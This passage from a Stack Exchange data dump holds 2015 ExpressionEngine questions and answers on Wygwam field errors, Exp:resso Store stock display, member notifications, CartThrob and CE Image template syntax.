/storage/av02422/www/public_html/test/control/expressionengine/third_party/wygwam/helper.php(981): Assets_lib-&amp;gt;get_file_by_id(Array) &#xA;#3 /storage/av02422/www/public_html/test/control/expressionengine/third_party/wygwam/ft.wygwam.php(540): Wygwam_helper::replace_asset_tags('&amp;amp;lt;h3&amp;amp;gt;Upcom...') &#xA;#4 /storage/av02422/www/public_html/test/control/expressionengine/fieldtypes/EE_Fieldtype.php(335): Wygwam_ft-&amp;gt;display_field('&amp;amp;lt;h3&amp;amp;gt;Upcom...') &#xA;#5 [internal function]: in /storage/av02422/www/public_html/test/control/expressionengine/third_party/assets/sources/ee/file.ee.php on line 43&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tracked down the code, and it's throwing an exception where a cache variable is empty in &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache['assets']&lt;/code&gt;. Then I tracked down the rows by var_dumping and inserting die()'s ... the file in question hasn't been found yet (haven't grepped the folders yet), but based on it's file name it appears to be completely unrelated to the channel entry it's attached to (I'm working on one of several broken entries, others could have different issues).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to grep for the file name (err, i think &lt;code&gt;find&lt;/code&gt; is better for this), and if I can't find it, remove those rows from the database in the test install. If that works, @Anna_MediaGirl probably gets the prize for pushing me the right way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LAST EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F***ing damnit. It was a malformed Wygwam field data cell. I just tried temporarily emptying and saving the Wygwam fields content, saving it, and pasting it back in, and now the trouble member group can open and edit the channel entry. WTF? Why do I even get paid? Thanks @Anna_MediaGirl. You win all 100 tacos. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out those Wygwam fields did have links to Assets files. That was somehow related.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-07T16:32:27.227" LastActivityDate="2015-08-07T16:32:27.227" Title="Random channel entries won't open for member group" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32418" PostTypeId="1" CreationDate="2015-07-23T19:34:08.470" Score="1" ViewCount="72" Body="&lt;p&gt;Trying to get my online store up &amp;amp; running, but I'm having issues with the stock aspect of Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the default code that came with Store for individual products, aside from having removed the SKU section. When I create a product entry, I'm selecting &quot;Limit Stock&quot;, then selecting the checkbox under that &amp;amp; inputting the qty. of product I have. (Let's say 8.) I go about the rest of my business, creating the product post - publish it, refresh the page, and where Stock is located in the form, it's outputting absolutely nothing. Should there not be &quot;8&quot; next to &quot;Stock&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the snippet of code for that particular area, as well as the URL where you can see what I'm talking about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;&amp;lt;label class=&quot;control-label&quot;&amp;gt;Stock Qty:&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;store_product_stock&quot;&amp;gt;&#xA;&amp;lt;!-- automatically set --&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thesagefuloak.com/index.php/shoppe/product/celtic-rain-vetiver-goat-milk-soap&quot; rel=&quot;nofollow&quot;&gt;Product Dev&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(That commented out part that says &quot;automatically set&quot; was there when the module propagated the templates.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried putting the following in it's place, but I still get an empty result. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 5}&#xA;In Stock&#xA;{if:elseif total_stock &amp;lt;= 5 &amp;amp;&amp;amp; total_stock != 0}&#xA;Low Stock&#xA;{if:else}&#xA;Out of Stock&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose I really don't understand how it's supposed to work, and your help would be greatly appreciated. Thank you! :)&lt;/p&gt;&#xA;" OwnerUserId="6513" LastActivityDate="2015-08-10T18:31:49.933" Title="Exp:resso Store Stock Issues" Tags="|expresso-store|expresso|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32419" PostTypeId="2" ParentId="32415" CreationDate="2015-07-23T19:37:39.850" Score="4" Body="&lt;p&gt;You will need to goto Members &gt; Member Groups &gt; for the member group in question click Edit Group. After that scroll down to the Control Panel Administration section and set Can administrate members accounts to Yes. Save the page and try the User template tags again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still not able to edit a member group from that account you would need to add &lt;code&gt;group_id='X|Y'&lt;/code&gt; to your edit forms for any additional member groups other then super admins that you want to be able to edit entries.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-23T19:49:27.610" LastActivityDate="2015-07-23T19:49:27.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32420" PostTypeId="2" ParentId="32418" CreationDate="2015-07-23T20:50:04.240" Score="1" Body="&lt;p&gt;Stock is calculated based upon the modifiers selected in your template. For example lets saying I am selling t-shirts in 3 different colors and 4 different sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load the page I won't see a stock number using the classes until I select Med Green shirt which might have 8 in stock, if I then select red instead of green it would change to 3 since I only have 3 medium red shirts in stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the comments below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Store javascript that handles the span class to show things like price or stock based upon modifier selection you will need to make sure that you have jQuery is included on your pages with Store tags.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-26T23:15:00.943" LastActivityDate="2015-07-26T23:15:00.943" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32421" PostTypeId="1" CreationDate="2015-07-23T22:40:45.423" Score="0" ViewCount="56" Body="&lt;p&gt;Just curious whether there’s any way to apply a discount to an order that has been completed using Expresso Store. Applying this discount would change the balance due (to an amount owing back to the customer), then a partial refund could be issued via our payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can see doing this payment gateway is to edit the price of one of the items currently associated with the order.&lt;/p&gt;&#xA;" OwnerUserId="6481" LastActivityDate="2016-06-18T07:49:24.083" Title="Applying a Discount Code to a Completed Order in Expresso Store?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32423" PostTypeId="2" ParentId="32421" CreationDate="2015-07-24T03:31:50.020" Score="0" Body="&lt;p&gt;This is not something built into Store currently you would need to write an extension using one of the hooks to apply the discount code then send refund amount to your payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that only the order status hooks would be called from the CP when changing orders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All extension hooks can be seen &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-07-24T03:31:50.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32424" PostTypeId="2" ParentId="30181" CreationDate="2015-07-24T04:41:21.500" Score="0" Body="&lt;p&gt;I use this all the time and it works like a charm (Solspace User and autologin).&#xA;Remember  &quot;In order for this feature to work you must be set to use “cookies only” and not sessions (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/member/#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!  &lt;/p&gt;&#xA;" OwnerUserId="1325" LastActivityDate="2015-07-24T04:41:21.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32425" PostTypeId="2" ParentId="32334" CreationDate="2015-07-24T13:47:54.957" Score="1" Body="&lt;p&gt;Your code will definitely work, and you're right it's a parse order issue. You just need the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter on the magpie tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:magpie url=&quot;{embed:feed}&quot; limit=&quot;3&quot; refresh=&quot;720&quot; parse=&quot;inward&quot;}&#xA;    {items}&#xA;        {title}&#xA;        {exp:eehive_hacksaw char=&quot;100&quot;}&#xA;            {description}&#xA;        {/exp:eehive_hacksaw}&#xA;    {/items}&#xA;{/exp:magpie}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the ExpressionEngine docs on &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;changing parsing order when using plugins:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may change the parsing order and instruct ExpressionEngine to&#xA;  parse an outer Plugin first. This is done by adding a parse=”inward”&#xA;  parameter to the Plugin opening tag. Using that parameter will tell EE&#xA;  to parse that Plugin before parsing any Plugins inside of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-07-24T13:47:54.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32426" PostTypeId="2" ParentId="32395" CreationDate="2015-07-24T14:19:56.803" Score="0" Body="&lt;p&gt;EE v2.10.1. &#xA;13 fields on the particular form, but the same fields are missing on other forms as well. I reuse the standard fields (First Name, Last Name, Email, etc on lots of forms). &#xA;Using MSM with several sites, 3 of which have FreeForm forms. Is there a limit to the total # of fields for the entire installation? I do have lots of fields in the system for our various forms, and don't necessarily get rid of old fields that are no longer in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Live page with form showing missing fields (&lt;a href=&quot;http://sdyc.org/race/forms/odw_reg&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sdyc.org/race/forms/odw_reg&lt;/a&gt;). Should have First Name, Last Name, Boat Name, Email, Phone, and an Agree button at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice that the fields are showing up correctly on the main site, just not the MSM sites...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached a picture of the template page. Not sure how to grab the template code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b0rbH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b0rbH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3434" LastEditorUserId="3434" LastEditDate="2015-07-24T23:31:37.873" LastActivityDate="2015-07-24T23:31:37.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32427" PostTypeId="1" AcceptedAnswerId="32428" CreationDate="2015-07-24T14:57:17.110" Score="1" ViewCount="90" Body="&lt;p&gt;I have never used EE before this project, and I am getting used to it.  So far I like it.  I have taken the project through completion, yet now I am having a hiccup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client wants to have an email notification of a new member, but for specific member groups, they would like it to go to different email addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have used two different forms from Simple Registration plugin to have two different groups.  Vendors and then Supporters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When supporters register, a notification should go to one email address, where when a vendor registers the client wants it to go to a different email, as these two are handled by two different people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to control that email notification?  I have custom membership fields, and when someone registers it does not show any of my custom membership fields in the email notification to myself upon new sign up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I am not explaining well enough!&lt;/p&gt;&#xA;" OwnerUserId="6515" LastActivityDate="2015-08-01T06:14:12.220" Title="Email Notification for specific member group" Tags="|members|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32428" PostTypeId="2" ParentId="32427" CreationDate="2015-07-24T15:10:59.097" Score="1" Body="&lt;p&gt;You want to use this free addon:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://devot-ee.com/add-ons/mx-notify-control&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to create different triggers for notification. You can set one for member registration, and actually pick which member groups trigger that notification. Just make one notification for vendors, and one for supporters. Tada!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;strong&gt;functioning&lt;/strong&gt; example from a live application I have in the wild. When a &quot;Records Custodians&quot; member registers, it sends an email (it uses a message template, last field). You would just need two of these rules, one with your Supporters member group selected, one with your Vendor member group selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3smHe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3smHe.jpg&quot; alt=&quot;MX Notify Example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure your &lt;strong&gt;email settings&lt;/strong&gt; are correct for this ExpressionEngine install? Go this Control Panel spot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Your site -&amp;gt; CP Home -&amp;gt; Tools -&amp;gt; Communicate&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And fire off a test email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon is working on a very important application I've developed. (I redacted the name of the University I work at).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-01T06:14:12.220" LastActivityDate="2015-08-01T06:14:12.220" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32429" PostTypeId="2" ParentId="32192" CreationDate="2015-07-24T18:16:45.923" Score="0" Body="&lt;p&gt;As you may know, CartThrob was recently taken over by us (Vector Media Group). More information can be found here: &lt;a href=&quot;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&quot; rel=&quot;nofollow&quot;&gt;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've now put this back on the site, and added CartThrob Fees, CartThrob Subscriptions, CartThrob Wish List, and CartThrob Invoice. You should be able to get it here: &lt;a href=&quot;http://www.cartthrob.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.cartthrob.com/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="376" LastEditDate="2015-07-24T19:52:36.937" LastActivityDate="2015-07-24T19:52:36.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32430" PostTypeId="2" ParentId="31801" CreationDate="2015-07-24T20:02:32.113" Score="1" Body="&lt;p&gt;Are you still looking for help with this? I'm with Vector Media Group, and we've taken over CartThrob. More information can be found here: &lt;a href=&quot;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&quot; rel=&quot;nofollow&quot;&gt;https://www.vectormediagroup.com/blog/view/vector-acquired-cartthrob-ct-admin/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you &lt;a href=&quot;http://mightybigrobot.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;Submit a support request here&lt;/a&gt; with your information and we can look this up and get it resolved for you?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-07-24T20:02:32.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32432" PostTypeId="1" CreationDate="2015-07-24T20:54:32.197" Score="0" ViewCount="121" Body="&lt;p&gt;I am using the MX Notify Control plugin to email when a new member registers, the template I am using for the email is simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;strong&amp;gt;Email:&amp;lt;/strong&amp;gt;{email}&amp;lt;br&amp;gt;&#xA;&#xA;{exp:member:custom_profile_data member_id=&quot;{member_id}&quot;}&#xA;&#xA;&amp;lt;strong&amp;gt;First Name:&amp;lt;/strong&amp;gt; {member_firstname}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;strong&amp;gt;Last Name:&amp;lt;/strong&amp;gt; {member_lastname}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;strong&amp;gt;ZipCode:&amp;lt;/strong&amp;gt; {member_zipcode}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet for some reason, when I send it like this, the email is blank.  I used the Simple Registration plugin to create the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data member_id=&quot;{member_id}&quot;}&#xA;&#xA;&amp;lt;strong&amp;gt;First Name:&amp;lt;/strong&amp;gt; {member_firstname}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;strong&amp;gt;Last Name:&amp;lt;/strong&amp;gt; {member_lastname}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;strong&amp;gt;Email:&amp;lt;/strong&amp;gt;{email}&amp;lt;br&amp;gt;&#xA;&#xA;&amp;lt;strong&amp;gt;ZipCode:&amp;lt;/strong&amp;gt; {member_zipcode}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the following error:&#xA; .(JavaScript must be enabled to view this email address) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6515" LastActivityDate="2015-11-23T19:26:02.890" Title="JavaScript Must Be Enabled to View This Email Address" Tags="|members|email|mx-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32433" PostTypeId="2" ParentId="32432" CreationDate="2015-07-25T04:56:04.860" Score="1" Body="&lt;p&gt;That plugin is &lt;strong&gt;2&lt;/strong&gt; years old, and appears un-maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go with Freemember, my friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know for a fact the registration form tag works on EE 2.10.1 (source: me! I'm a professional developer. But more importantly, I have it working in an EE 2.10.1 app).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-25T05:32:55.077" LastActivityDate="2015-07-25T05:32:55.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32435" PostTypeId="1" CreationDate="2015-07-27T09:11:32.260" Score="0" ViewCount="375" Body="&lt;p&gt;I tried uploading a file with a file upload field and with the native File Manager. EE will not respond at all, no pop-up window whatsoever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All permissions are right and upload destination is ok. Any suggestion what it could be?&lt;/p&gt;&#xA;" OwnerUserId="6522" LastEditorUserId="6205" LastEditDate="2015-07-27T14:43:04.693" LastActivityDate="2015-07-27T14:43:04.693" Title="File upload not working in expressionengine 2.10.1" Tags="|channel-entries|file-uploads|file-manager|ee|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32436" PostTypeId="1" CreationDate="2015-07-27T10:43:47.637" Score="0" ViewCount="40" Body="&lt;p&gt;I am using MSM, i have two subdomains with expresso store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i add an item to a cart on (sub1.domain.com) and then go to (sub2.domain.com) and try to add an item to the cart it gives {no_items}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i empty the cart on (sub1.domain.com) the products Will appear in the (sub2.domain.com) cart that i added previously and vise vera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-05-07T04:06:13.580" Title="(MSM) - Products not adding to cart" Tags="|expresso-store|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32437" PostTypeId="1" AcceptedAnswerId="32446" CreationDate="2015-07-27T11:34:12.483" Score="0" ViewCount="38" Body="&lt;p&gt;I'm looking to upgrade our Cartthrob 2.2.9 version to bring in the changes required for V3.00 Sagepay. Does anyone have any advice on what i'd need to upgrade for this version? I can see in the Sagepay notes that there are changes to the encryption method which i have successfully implemented on a Cakephp store but need to what requires modification on Cartthrob?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6524" LastActivityDate="2015-07-29T12:34:57.787" Title="Sagepay Protocol 3.00 upgrade notes" Tags="|cartthrob|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32438" PostTypeId="2" ParentId="32389" CreationDate="2015-07-27T13:13:45.753" Score="0" Body="&lt;p&gt;I rolled back to v2.6.1 The latest ee v2.10.1 seems to no screw with encoding somehow in that server config.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2015-07-27T13:13:45.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32439" PostTypeId="1" AcceptedAnswerId="32440" CreationDate="2015-07-27T14:50:02.723" Score="1" ViewCount="30" Body="&lt;p&gt;Just wondering if it is possible to show the &lt;code&gt;{author}&lt;/code&gt;, &lt;code&gt;{entry_date}&lt;/code&gt; and &lt;code&gt;{comment_total}&lt;/code&gt; in the Prev/Next entry links? Here is what I have currently for the Next entry link, but only the &lt;code&gt;{title}&lt;/code&gt; field is working—&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;news&quot;}&#xA;      &amp;lt;div class=&quot;element clearfix col1-3 home grey&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='news/index'}&quot; title=&quot;&quot; class=&quot;whole-tile&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;          &amp;lt;p class=&quot;small&quot;&amp;gt;&amp;lt;span class=&quot;italic&quot;&amp;gt;by&amp;lt;/span&amp;gt; {author} &amp;lt;br /&amp;gt;&#xA;            &amp;lt;span class=&quot;italic&quot;&amp;gt;posted&amp;lt;/span&amp;gt; {entry_date:relative}&amp;lt;br /&amp;gt;&#xA;          &amp;lt;span class=&quot;italic&quot;&amp;gt;with&amp;lt;/span&amp;gt; {comment_total} Comments&amp;lt;/p&amp;gt;&#xA;&#xA;          &amp;lt;div class=&quot;bottom&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;alignleft&quot;&amp;gt;Read more&amp;lt;/p&amp;gt;&#xA;          &amp;lt;span class=&quot;arrow&quot;&amp;gt;→&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/a&amp;gt; &#xA;      &amp;lt;/div&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6511" LastActivityDate="2015-07-27T15:32:47.033" Title="Entry linking meta data" Tags="|entry|next-prev|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32440" PostTypeId="2" ParentId="32439" CreationDate="2015-07-27T15:21:42.417" Score="0" Body="&lt;p&gt;Those single variables are not available in that tag (exp:channel:next_entry). It would be somewhat inefficient, but you could run a template embed to achieve this. This would be the code in your main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;news&quot;}&#xA;    &amp;lt;div class=&quot;element clearfix col1-3 home grey&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='news/index'}&quot; title=&quot;&quot; class=&quot;whole-tile&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&#xA;                {title}&#xA;            &amp;lt;/h3&amp;gt;&#xA;            {embed=&quot;embeds/next_entry&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;/a&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this would be the code in your embeds/next_entry template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;p class=&quot;small&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;italic&quot;&amp;gt;&#xA;            by&#xA;        &amp;lt;/span&amp;gt;&#xA;        {author} &amp;lt;br /&amp;gt;&#xA;        &amp;lt;span class=&quot;italic&quot;&amp;gt;&#xA;            posted&#xA;        &amp;lt;/span&amp;gt;&#xA;        {entry_date} &amp;lt;br /&amp;gt;&#xA;        &amp;lt;span class=&quot;italic&quot;&amp;gt;&#xA;            with&#xA;        &amp;lt;/span&amp;gt;&#xA;        {comment_total} Comments&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;bottom&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;alignleft&quot;&amp;gt;&#xA;            Read more&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;span class=&quot;arrow&quot;&amp;gt;&#xA;            →&#xA;        &amp;lt;/span&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-27T15:32:47.033" LastActivityDate="2015-07-27T15:32:47.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32441" PostTypeId="1" CreationDate="2015-07-27T16:48:42.230" Score="1" ViewCount="104" Body="&lt;p&gt;I know how to use a CE Images tag pair to generate a one-off example of responsive images syntax from an image (the image being represented by the custom field {base_pic} in the following example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{base_pic}&quot; width=&quot;400&quot;}&#xA;    &amp;lt;img &#xA;        src=&quot;{made}&quot; &#xA;        alt=&quot;my alt text&quot; &#xA;        title=&quot;my title&quot; &#xA;        srcset=&quot;&#xA;            {exp:ce_img:single src=&quot;{base_pic}&quot; width=&quot;250&quot; url_only=&quot;yes&quot;} 250w,&#xA;            {exp:ce_img:single src=&quot;{base_pic}&quot; width=&quot;600&quot; url_only=&quot;yes&quot;} 600w,&#xA;            {exp:ce_img:single src=&quot;{base_pic}&quot; width=&quot;1200&quot; url_only=&quot;yes&quot;} 1200w&quot;&#xA;        sizes=&quot;&#xA;            (min-width: 1110px) 625px,&#xA;            (min-width: 768px) 56vw,&#xA;            (min-width: 321px) 86vw,&#xA;            258px&quot;&#xA;        &amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am struggling with is how to generate such syntax for multiple images using the ce_img:bulk tag (so I can use it to process an Expresso rich text field). I tried using the output= parameter, but that failed because of course it requires me to specify the output markup as the parameter's value, and you can't put a ce_img:single tag inside another ce_img tag's parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAICT I can't just put the img markup between the opening and closing tags like I did with the example above, because that's where the entire {expresso_field} needs to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very much a CE Image noob and am getting lost amid the plethora of available options parameter and tag options (an embarrassment of riches!), so I'm confident that I'm just missing something and it can be done somehow. But I'm just not seeing it, so can somebody help? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-07-27T17:27:06.083" LastActivityDate="2015-07-27T17:27:06.083" Title="Using CE Images bulk tag for responsive images syntax" Tags="|ce-image|responsive-images|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32442" PostTypeId="1" AcceptedAnswerId="32443" CreationDate="2015-07-27T19:58:48.687" Score="0" ViewCount="31" Body="&lt;p&gt;Is it possible to not require shipping info, my client wants pick up one but when I remove the shipping fields it doesn't process.&lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2015-07-27T20:43:05.600" Title="A no shipping option" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
